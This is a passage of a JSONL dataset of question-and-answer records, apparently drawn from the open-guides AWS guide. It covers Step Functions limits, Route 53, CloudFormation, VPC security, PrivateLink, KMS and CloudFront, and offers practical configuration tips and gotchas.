"question_score": 36638, "answer_score": 10, "has_code": true, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978049"}
{"id": "gh_092badd1b134", "question": "How to: Step Functions Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "-   Step Functions are free tier eligible up to an initial 4000 transitions per month. Thereafter, the charge is $0.025 per 1000 state transitions.\n-   You can have many, simultaneous, executions, but be aware of lambda throttling limits. This has been per-account, pre-region, but recently became settable per-lambda.\n-   Step Function executions are limited to 25,000 events. Each step creates multiple events. This means that [iterating a loop using Lambda](https://docs.aws.amazon.com/step-functions/latest/dg/tutorial-create-iterate-pattern-section.html) is limited to an iteration count of around 3000 before needing to [continue as a new execution](https://docs.aws.amazon.com/step-functions/latest/dg/tutorial-continue-new.html).\n\nRoute 53\n--------", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978054"}
{"id": "gh_fed52b5346ba", "question": "How to: Route 53 Basics", "question_body": "About open-guides/og-aws", "answer": "-\t📒 [Homepage](https://aws.amazon.com/route53/) ∙ [Developer guide](http://docs.aws.amazon.com/Route53/latest/DeveloperGuide/) ∙ [FAQ](https://aws.amazon.com/route53/faqs/) ∙ [Pricing](https://aws.amazon.com/route53/pricing/)\n-\t**Route 53** is AWS’ DNS service.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978059"}
{"id": "gh_c094a576535a", "question": "How to: Route 53 Alternatives and Lock-In", "question_body": "About open-guides/og-aws", "answer": "-\tHistorically, AWS was slow to penetrate the DNS market (as it is often driven by perceived reliability and long-term vendor relationships) but Route 53 has matured and [is becoming the standard option](https://www.datanyze.com/market-share/dns/) for many companies. Route 53 is cheap by historic DNS standards, as it has a fairly large global network with geographic DNS and other formerly “premium” features. It’s convenient if you are already using AWS.\n-\t⛓Generally you don’t get locked into a DNS provider for simple use cases, but increasingly become tied in once you use specific features like geographic routing or Route 53’s alias records.\n-\t🚪Many alternative DNS providers exist, ranging from long-standing premium brands like [UltraDNS](https://www.neustar.biz/services/dns-services) and [Dyn](http://dyn.com/managed-dns/) to less well known, more modestly priced brands like [DNSMadeEasy](http://www.dnsmadeeasy.com/). Most DNS experts will tell you that the market is opaque enough that reliability and performance don’t really correlate well with price.\n-\t⏱Route 53 is usually somewhere in the middle of the pack on performance tests, e.g. the [SolveDNS reports](http://www.solvedns.com/dns-comparison/).\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978067"}
{"id": "gh_5c19612dfc8e", "question": "How to: Route 53 Tips", "question_body": "About open-guides/og-aws", "answer": "-\t🔹Know about Route 53’s “alias” records:\n\t-\tRoute 53 supports all the standard DNS record types, but note that [**alias resource record sets**](http://docs.aws.amazon.com/Route53/latest/DeveloperGuide/resource-record-sets-choosing-alias-non-alias.html) are not standard part of DNS, but a specific Route 53 feature. (It’s available from other DNS providers too, but each provider has a different name for it.)\n\t-\tAliases are like an internal name (a bit like a CNAME) that is resolved internally on the server side. For example, traditionally you could have a CNAME to the DNS name of a CLB or ALB, but it’s often better to make an alias to the same load balancer. The effect is the same, but in the latter case, externally, all a client sees is the target the record points to.\n\t-\tIt’s often wise to use alias record as an alternative to CNAMEs, since they can be updated instantly with an API call, without worrying about DNS propagation.\n\t-\tYou can use them for CLBs/ALBs or any other resource where AWS supports it.\n\t-\tSomewhat confusingly, you can have CNAME and A aliases, depending on the type of the target.\n\t-\tBecause aliases are extensions to regular DNS records, if exported, the output [zone file](https://en.wikipedia.org/wiki/Zone_file) will have additional non-standard “ALIAS” lines in it.\n-\t[**Latency-based routing**](https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/routing-policy.html#routing-policy-latency) allows users around the globe to be automatically directed to the nearest AWS region where you are running, so that latency is reduced.\n-\tUnderstand that domain registration and DNS management (hosted zones) are two separate Route 53 services. When you buy/transfer a domain, Route 53 automatically assigns four name servers to it (e.g. ns-2.awsdns-00.com). Route 53 also offers to automatically create a hosted zone for DNS management, but you are not required do your DNS management in the same account or even in Route 53; you just need to create an NS record pointing to the servers assigned to your domain in Route 53.\n  - One use case would be to put your domain registration (very mission critical) in a [bastion account](https://cloudonaut.io/your-single-aws-account-is-a-serious-risk/) while managing the hosted zones within another account which is accessible by your applications.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978079"}
{"id": "gh_0c8a49bd7871", "question": "How to: Route 53 Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "-   🔸Private Hosted Zone will only respond to DNS queries that originate from within a VPC. As a result Route53 will not respond to request made via a VPN or Direct connect. To get around this you will need to implement [Hybrid Cloud DNS Solutions](https://d1.awsstatic.com/whitepapers/hybrid-cloud-dns-options-for-vpc.pdf) or use the Simple AD provided IP addresses to query the hosted zone.\n\nCloudFormation\n--------------", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978085"}
{"id": "gh_b9f7c621f624", "question": "How to: CloudFormation Basics", "question_body": "About open-guides/og-aws", "answer": "-\t📒 [Homepage](https://aws.amazon.com/cloudformation/) ∙ [Developer guide](http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/) ∙ [FAQ](https://aws.amazon.com/cloudformation/faqs/) ∙ [Pricing](https://aws.amazon.com/cloudformation/pricing/) at no additional charge\n-\t**CloudFormation** allows you to manage sets of resources from other AWS services grouped into **[stacks](http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/cfn-whatis-concepts.html#d0e3917)**. CloudFormation allows you to define these stacks in a template using [JSON](http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ec2-instance.html#aws-properties-ec2-instance-syntax.json) or [YAML](http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ec2-instance.html#aws-properties-ec2-instance-syntax.yaml). CloudFormation is one of the major services underpinning AWS' [infrastructure as code capabilities](https://d0.awsstatic.com/whitepapers/DevOps/infrastructure-as-code.pdf) and is crucial in enabling repeatable and consistent deployments of infrastructure.\n-\t💸CloudFormation itself has [no additional charge](https://aws.amazon.com/cloudformation/pricing/); you pay for the underlying resources.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978092"}
{"id": "gh_05b559a1cd12", "question": "How to: CloudFormation Alternatives and Lock-In", "question_body": "About open-guides/og-aws", "answer": "-\tHashiCorp’s [Terraform](https://www.\n/intro/vs/cloudformation.html) is a third-party alternative that can support other cloud platforms/providers including [Azure](https://registry.terraform.io/providers/hashicorp/azurerm/latest) and [OpenStack](https://www.terraform.io/docs/providers/openstack/).\n- 🔸Some AWS features may not be available in Terraform (e.g. multi-AZ ElastiCache using Redis), and you may have to resort to embedded CloudFormation templates.\n-\t[Pulumi](https://www.pulumi.com/) enables teams to define and deliver Cloud Native Infrastructure as Code on any cloud, with any language. From containers to serverless to Kubernetes to infrastructure.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978099"}
{"id": "gh_21894f3e12fa", "question": "How to: CloudFormation Tips", "question_body": "About open-guides/og-aws", "answer": "-\tValidate your stack in a different AWS account! CloudFormation truly shines when making multiple deployments of the same stack to different accounts and regions. A common practice is to deploy stacks in successive stages ending in a production rollout.\n-\tAvoid potentially time-consuming syntax errors from eating into your deployment time by running `validate-template`.\n-\tCloudFormation is sometimes slow to update what resources (and new features on old services) a user is able to define in the template. If you need to deploy a resource or feature that isn't supported by the template, CloudFormation allows running arbitrary code (using [Lambda](#lambda)) on a stack create or update via [custom resources](http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/template-custom-resources.html).\n-\tCustom resources make CloudFormation into a truly powerful tool, as you can do all sorts of neat things quite easily such as sanity tests, initial configuration of Dynamo tables or S3 buckets, cleaning up old CloudWatch logs, etc.\n\t- For writing Custom Resources in Javascript, AWS provides a good reference in the [documentation.](http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/walkthrough-custom-resources-lambda-lookup-amiids.html)\n-\tCloudFormation offers a visual [template designer](http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/working-with-templates-cfn-designer-walkthrough-createbasicwebserver.html) that can be useful when getting up to speed with the template syntax.\n-\tBy using [StackSets](http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/stacksets-concepts.html), users can define and deploy an entire production application consisting of multiple stacks (one service per stack) in a single CloudFormation template.\n-\tIf you're developing a serverless application (i.e., using Lambda, API Gateway) CloudFormation offers a simplified template format called [SAM](https://github.com/awslabs/serverless-application-model).\n-\t❗Use a restrictive [stack policy](http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/protect-stack-resources.html)! Without one, you can inadvertently delete live production resources, probably causing a severe outage.\n-\t❗Turn on [termination protection](https://aws.amazon.com/about-aws/whats-new/2017/09/aws-cloudformation-provides-stack-termination-protection/) on all of your stacks to avoid costly accidents!\n-\tThe CloudFormation [template reference](http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/template-reference.html) is indispensable when discovering what is and isn't possible in a CloudFormation template.\n-\t[Troposphere](https://github.com/cloudtools/troposphere) is a Python library that makes it much easier to create CloudFormation templates.\n\t- Currently supports [AWS](https://github.com/cloudtools/troposphere#currently-supported-aws-resource-types) and [OpenStack](https://github.com/cloudtools/troposphere#currently-supported-openstack-resource-types) resource types.\n\t- Troposphere attempts to support all resources types that can be described in CloudFormation templates.\n\t- Built in [error](https://github.com/cloudtools/troposphere#examples-of-the-error-checking-full-tracebacks-removed-for-clarity) checking.\n\t- A recommended soft dependency is [awacs](https://github.com/cloudtools/awacs), which allows you to generate AWS access policy in JSON by writing Python code.\n-\t[stacker](http://stacker.readthedocs.io/en/latest/) is a Python application that makes it easy to define, configure, orchestrate and manage dependencies for CloudFormation stacks across multiple user-defined environments.\n-\tIf you are building different stacks with similar layers, it may be useful to build separate templates for each layer that you can reuse using [AWS::CloudFormation::Stack](http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-stack.html).\n-\t🔸Avoid hardcoding resource parameters that can potentially change. Use stack parameters as much as you can, and resort to default parameter values.\n-\t🔹Until [2016](https://aws.amazon.com/about-aws/whats-new/2016/09/aws-cloudformation-introduces-yaml-template-support-and-cross-stack-references/), CloudFormation used only an awkward JSON format that makes both reading and debugging difficult. To use it effectively typically involved building additional tooling, including converting it to YAML, but now [this is supported directly](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/template-formats.html).\n- Wherever possible, export relevant [physical IDs](http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-name.html) from your Stacks by defining [Outputs in your CloudFormation Templates](http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/outputs-section-structure.html). These are the actual names assigned to the resources being created. Outputs can be returned from `DescribeStack` API calls, and get imported to other Stacks as part of", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978125"}
{"id": "gh_95be977fc348", "question": "How to: CloudFormation Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "-\t🔸A given CloudFormation stack can end up in a wide variety of states. Error reporting is generally weak, and often times multiple observe-tweak-redeploy cycles are needed to get a working template. The internal state machine for [all the varying states](http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/using-cfn-describing-stacks.html) is extremely opaque.\n-\t🔸Some cross-region operations are not possible in CloudFormation without using a custom resource, such as [cross-region SNS subscriptions](https://github.com/serverless/serverless/issues/3676).\n-\t🔸While having hand-made resources live alongside CloudFormation-created resources is inadvisable, it's sometimes unavoidable. If at all possible, leave ALL resource management up to a CloudFormation template and only provide read-only access to the console.\n-\t❗Modifications to stack resources made outside CloudFormation can potentially lead to stacks stuck in UPDATE\\_ROLLBACK\\_FAILED mode. Stacks in this state can be recovered using the [continue-update-rollback command](https://aws.amazon.com/blogs/devops/continue-rolling-back-an-update-for-aws-cloudformation-stacks-in-the-update_rollback_failed-state/). This command can be initiated in the console or in the CLI. The [--resources-to-skip](http://docs.aws.amazon.com/cli/latest/reference/cloudformation/continue-update-rollback.html) parameter usable in the CLI can be useful if the continue-update-rollback command fails. New feature [Drift Detection](https://aws.amazon.com/blogs/aws/new-cloudformation-drift-detection/) can be used to detect outside changes made to stack.\n-\t🔸CloudFormation is useful but complex and with a variety of pain points. Many companies find alternate solutions, and many companies use it, but only with significant additional tooling.\n-\t🔸CloudFormation can be very slow, especially for items like CloudFront distributions and Route53 CNAME entries.\n-\t🔸It’s hard to assemble good CloudFormation configurations from existing state. AWS does [offer a trick to do this](http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/cfn-using-cloudformer.html), but it’s very clumsy.\n\t- CloudFormer also hasn't been updated in ages (as of Oct 2017), doesn't support templatizing many new services, and won't fully define even existing services that have since been updated. For example, Dynamo tables defined through CloudFormer won't contain TTL definitions or auto-scaling configuration. There is a third-party version of the tool with more supported resources called [Former2](https://github.com/iann0036/former2).\n-\t🔸Many users don’t use CloudFormation at all because of its limitations, or because they find other solutions preferable. Often there are other ways to accomplish the same goals, such as local scripts (Boto, Bash, Ansible, etc.) you manage yourself that build infrastructure, or Docker-based solutions ([Convox](https://convox.com/), etc.).\n-\t🔸Deploying large stacks (i.e., many resources) can be problematic due to unintuitive API limits. For instance, API Gateway's `CreateDeployment` API has a default limit of [3 requests per minute](https://docs.aws.amazon.com/apigateway/latest/developerguide/limits.html) as of 1/12/2018. This limit is readily exceeded even in moderately-sized CloudFormation stacks. Creating CW alarms is another commonly seen limit (`PutMetricAlarm`, 3 tps as of 1/12/2018) especially when creating many autoscaling policies for DynamoDB. One way to work around this limit is to include CloudFormation 'DependsOn' clauses to artificially chain resource creation.\n-\t🔸Creating/deleting stacks can be a little less clean than ideal. Some resources will leave behind traces in your AWS account even after deletion. E.g., Lambda will leave behind CloudWatch log groups that never expire.\n\nVPCs, Network Security, and Security Groups\n-------------------------------------------", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978141"}
{"id": "gh_c99c31274961", "question": "How to: VPC Basics", "question_body": "About open-guides/og-aws", "answer": "-\t📒 [Homepage](https://aws.amazon.com/vpc/) ∙ [User guide](http://docs.aws.amazon.com/AmazonVPC/latest/UserGuide) ∙ [FAQ](https://aws.amazon.com/vpc/faqs/) ∙ [Security groups](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-network-security.html) ∙ [Pricing](https://aws.amazon.com/vpc/pricing/)\n-\t**VPC** (Virtual Private Cloud) is the virtualized networking layer of your AWS systems.\n-\tMost AWS users should have a basic understanding of VPC concepts, but few need to get into all the details. VPC configurations can be trivial or extremely complex, depending on the extent of your network and security needs.\n-\tAll modern AWS accounts (those created [after 2013-12-04](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-vpc.html)) are “EC2-VPC” accounts that support VPCs, and all instances will be in a default VPC. Older accounts may still be using “EC2-Classic” mode. Some features don’t work without VPCs, so you probably will want to [migrate](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/vpc-migrate.html).\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978148"}
{"id": "gh_a74ad6fd5117", "question": "How to: VPC and Network Security Tips", "question_body": "About open-guides/og-aws", "answer": "-\t❗**Security groups** are your first line of defense for your servers. Be extremely restrictive of what ports are open to all incoming connections. In general, if you use CLBs, ALBs or other load balancing, the only ports that need to be open to incoming traffic would be port 22 and whatever port your application uses. Security groups access policy is 'deny by default'.\n-\t**Port hygiene:** A good habit is to pick unique ports within an unusual range for each different kind of production service. For example, your web frontend might use 3010, your backend services 3020 and 3021, and your Postgres instances the usual 5432. Then make sure you have fine-grained security groups for each set of servers. This makes you disciplined about listing out your services, but also is more error-proof. For example, should you accidentally have an extra Apache server running on the default port 80 on a backend server, it will not be exposed.\n-\t**Migrating from Classic**: For migrating from older EC2-Classic deployments to modern EC2-VPC setup, [this article](https://blog.playfab.com/blog/how-playfab-migrated-ec2-classic-vpc-zero-downtime) may be of help.\n\t-\tYou can [migrate Elastic IPs between EC2-Classic and EC2-VPC](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html#using-eip-migration).\n-\tFor basic AWS use, one default VPC may be sufficient. But as you scale up, you should consider mapping out network topology more thoroughly. A good overview of best practices is [here](http://blog.flux7.com/blogs/aws/vpc-best-configuration-practices).\n-\tConsider controlling access to you private AWS resources through a [VPN](http://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/vpn-connections.html).\n\t-\tYou get better visibility into and control of connection and connection attempts.\n\t-\tYou expose a smaller surface area for attack compared to exposing separate (potentially authenticated) services over the public internet.\n\t\t-\te.g. A bug in the YAML parser used by the Ruby on Rails admin site is much less serious when the admin site is only visible to the private network and accessed through VPN.\n\t-\tAnother common pattern (especially as deployments get larger, security or regulatory requirements get more stringent, or team sizes increase) is to provide a [bastion host](https://www.pandastrike.com/posts/20141113-bastion-hosts) behind a VPN through which all SSH connections need to transit.\n\t-\tFor a cheap VPN to access private AWS resources, consider using a point-to-site software VPN such as [OpenVPN](https://openvpn.net/). It can either be installed using the [official AMI](https://docs.openvpn.net/how-to-tutorialsguides/virtual-platforms/amazon-ec2-appliance-ami-quick-start-guide/), though you are limited to 2 concurrent users on the free license, or it can be installed using the openvpn package on linux. The linux package allows for unlimited concurrent users but the installation is less straightforward. This [OpenVPN installer script](https://github.com/Nyr/openvpn-install) can help you install it and add client keys easily.\n-\t🔹Consider using other security groups as sources for security group rules instead of using CIDRs — that way, all hosts in the source security group and only hosts in that security group are allowed access. This is a much more dynamic and secure way of managing security group rules.\n-\t**VPC Flow Logs** allow you to monitor the network traffic to, from, and within your VPC. Logs are stored in CloudWatch Logs groups, and can be used for security monitoring (with third party tools), performance evaluation, and forensic investigation.\n\t-\tSee the [VPC Flow Logs User Guide](http://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/flow-logs.html) for basic information.\n\t-\tSee the [flowlogs-reader](https://github.com/obsrvbl/flowlogs-reader) CLI tool and Python library to retrieve and work with VPC Flow Logs.\n- **IPv6** [is available in VPC](https://aws.amazon.com/blogs/aws/new-ipv6-support-for-ec2-instances-in-virtual-private-clouds/). Along with this announcement came the introduction of the [Egress-Only Internet Gateway](https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/egress-only-internet-gateway.html). In cases where one would use NAT Gateways to enable egress-only traffic for their VPC in IPv4, one can use an Egress-Only Internet Gateway for the same purpose in IPv6.\n\n-\tAmazon provides an IPv6 CIDR block for your VPC at your request - at present you cannot implement your own IPv6 block if you happen to own one already.\n-\tNew and existing VPCs can both use IPv6. Existing VPCs will need to be configured to have an IPv6 CIDR block associated with them, just as new VPCs do.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978169"}
{"id": "gh_e7fca1c5829d", "question": "How to: PrivateLink", "question_body": "About open-guides/og-aws", "answer": "- 📒[Homepage](https://aws.amazon.com/privatelink/) ∙ [User Guide](https://docs.aws.amazon.com/vpc/latest/userguide/vpce-interface.html) ∙  [Pricing](https://aws.amazon.com/privatelink/pricing/)\n- One of the uses for Private link is [Interface VPC Endpoints](https://docs.aws.amazon.com/vpc/latest/userguide/vpce-interface.html) deploys an ENI into your VPC and subnets which allows you direct access to the AWS API's as if the were accessible locally in your VPC without having to go out to the internet.\n- Another use case would be to expose a service of your own to other accounts in AWS through a [VPC Endpoint Service](https://docs.aws.amazon.com/vpc/latest/userguide/endpoint-service.html)\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978178"}
{"id": "gh_41b3996e0d6b", "question": "How to: VPC and Network Security Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "-\t🔸VPCs are tied to one Region in one Account. Subnets are tied to one VPC and limited to one Availability Zone.\n-\t🔸Security groups are tied to one VPC. If you are utilizing infrastructure in multiple VPCs you should make sure your configuration/deployment tools take that into account.\n-\t🔸[VPC Endpoints](http://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/vpc-endpoints.html) are currently only available for S3 and DynamoDB. If you have a security requirement to lockdown outbound traffic from your VPC you may want to use [DNS filtering](https://aws.amazon.com/blogs/security/how-to-add-dns-filtering-to-your-nat-instance-with-squid/) to control outbound traffic to other services.\n-\t❗Be careful when choosing your VPC IP CIDR block: If you are going to need to make use of [ClassicLink](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/vpc-classiclink.html), make sure that your private IP range [doesn’t overlap](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/vpc-classiclink.html#classiclink-limitations) with that of EC2 Classic.\n-\t❗If you are going to peer VPCs, carefully consider the cost of [data transfer between VPCs](https://aws.amazon.com/vpc/faqs/#Peering_Connections), since for some workloads and integrations, this can be prohibitively expensive.\n- ❗New RDS instances require a [subnet group](http://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_VPC.WorkingWithRDSInstanceinaVPC.html#USER_VPC.Subnets) within your VPC. If you’re using the [default VPC](http://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/default-vpc.html) this isn’t a concern, it will contain a subnet for each availability zone in your region. However, if you’re creating your own VPC and plan on using RDS, make sure you have at least two subnets within the VPC to act as the subnet group.\n-\t❗If you delete the default VPC, you can [recreate it via the CLI or the console](http://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/default-vpc.html#create-default-vpc).\n-\t❗Be careful with VPC VPN credentials! If lost or compromised, the VPN endpoint must be deleted and recreated. See the instructions for [Replacing Compromised Credentials](http://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_VPN.html#CompromisedCredentials).\n-\t❗Security Groups and Route Tables apply entries separately for IPv4 and IPv6, so one must ensure they add entries for both protocols accordingly.\n- \t💸Managed NAT gateways are a convenient alternative to\nmanually managing [NAT instances](https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPCNATInstance.html), but they do come at a cost per gigabyte. Consider [alternatives](http://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/vpc-nat-comparison.html) if you're transferring many terabytes from private subnets to the internet. If you transfer terabytes/petabytes of data from EC2 instances in private subnets to S3, avoid the [NAT gateway data processing charge](https://aws.amazon.com/vpc/pricing/) by setting up a Gateway Type VPC Endpoint and route the traffic to/from S3 through the VPC endpoints instead of going through the NAT gateways.\n\nKMS\n---", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978190"}
{"id": "gh_083e763ef485", "question": "How to: KMS Basics", "question_body": "About open-guides/og-aws", "answer": "-\t📒 [Homepage](https://aws.amazon.com/kms/) ∙ [Developer guide](http://docs.aws.amazon.com/kms/latest/developerguide/) ∙ [FAQ](https://aws.amazon.com/kms/faqs/) ∙ [Pricing](https://aws.amazon.com/kms/pricing/)\n-\t**KMS** (Key Management Service) is a secure service for creating, storing and auditing usage of cryptographic keys.\n- **Service integration:** KMS [integrates with other AWS services](http://docs.aws.amazon.com/kms/latest/developerguide/service-integration.html): EBS, Elastic Transcoder, EMR, Redshift, RDS, SES, S3, WorkMail and Workspaces.\n- **Encryption APIs:** The [Encrypt](http://docs.aws.amazon.com/kms/latest/APIReference/API_Encrypt.html) and [Decrypt API](http://docs.aws.amazon.com/kms/latest/APIReference/API_Decrypt.html) allow you to encrypt and decrypt data on the KMS service side, never exposing the master key contents.\n- **Data keys:** The [GenerateDataKey](http://docs.aws.amazon.com/kms/latest/developerguide/concepts.html#data-keys) API generates a new key off of a master key. The data key contents are exposed to you so you can use it to encrypt and decrypt any size of data in your application layer. KMS does not store, manage or track data keys, you are responsible for this in your application.\n- 🔹**Auditing:** Turn on CloudTrail to audit all KMS API events.\n- **Access:** Use [key policies](http://docs.aws.amazon.com/kms/latest/developerguide/key-policies.html) and [IAM policies](http://docs.aws.amazon.com/kms/latest/developerguide/iam-policies.html) to grant different levels of KMS access. For example, you create an IAM policy that only [allows a user to encrypt and decrypt with a specific key](http://docs.aws.amazon.com/kms/latest/developerguide/iam-policies.html#iam-policy-example-encrypt-decrypt-specific-cmks).\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978199"}
{"id": "gh_40b631910171", "question": "How to: KMS Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "-\t🔸The Encrypt API only works with < 4KB of data. Larger data requires generating and managing a [data key](http://docs.aws.amazon.com/kms/latest/developerguide/concepts.html#data-keys) in your application layer.\n-\t🔸KMS audit events are not available in the [CloudTrail Lookup Events API](http://docs.aws.amazon.com/awscloudtrail/latest/APIReference/API_LookupEvents.html). You need to look find them in the raw .json.gz files that CloudTrail saves in S3.\n-\t🔸In order to encrypt a multi-part upload to S3, the KMS Key Policy needs to allow “kms:Decrypt” and “kms:GenerateDataKey*” in addition to “kms:Encrypt”, otherwise the upload will fail with an “AccessDenied” error.\n-\t🔸KMS keys are region specific — they are stored and can only be used in the region in which they are created. They can't be transferred to other regions.\n-\t🔸KMS keys have a key policy that must grant access to something to manage the key.  If you don't grant anything access to the key on creation, then you have to reach out to support to have the key policy reset [Reduce the Risk of the Key Becoming Unmanagable](https://docs.aws.amazon.com/kms/latest/developerguide/key-policies.html#key-policy-default-allow-root-enable-iam).\n-\t🔸If you use a key policy to grant access to IAM roles or users and then delete the user/role, recreating the user or role won't grant them permission to the key again.\n\nCloudFront\n----------", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978209"}
{"id": "gh_0a5c3f6c1097", "question": "How to: CloudFront Basics", "question_body": "About open-guides/og-aws", "answer": "-\t📒 [Homepage](https://aws.amazon.com/cloudfront/) ∙ [Developer guide](http://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/) ∙ [FAQ](https://aws.amazon.com/cloudfront/faqs/) ∙ [Pricing](https://aws.amazon.com/cloudfront/pricing/)\n-\t**CloudFront** is AWS’ [content delivery network (CDN)](https://en.wikipedia.org/wiki/Content_delivery_network).\n-\tIts primary use is improving latency for end users through accessing cacheable content by hosting it at [over 60 global edge locations](http://aws.amazon.com/cloudfront/details/).\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978215"}
{"id": "gh_933d3b567549", "question": "How to: CloudFront Alternatives and Lock-in", "question_body": "About open-guides/og-aws", "answer": "-\t🚪CDNs are [a highly fragmented market](https://www.datanyze.com/market-share/cdn/). CloudFront has grown to be a leader, but there are many alternatives that might better suit specific needs.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978219"}
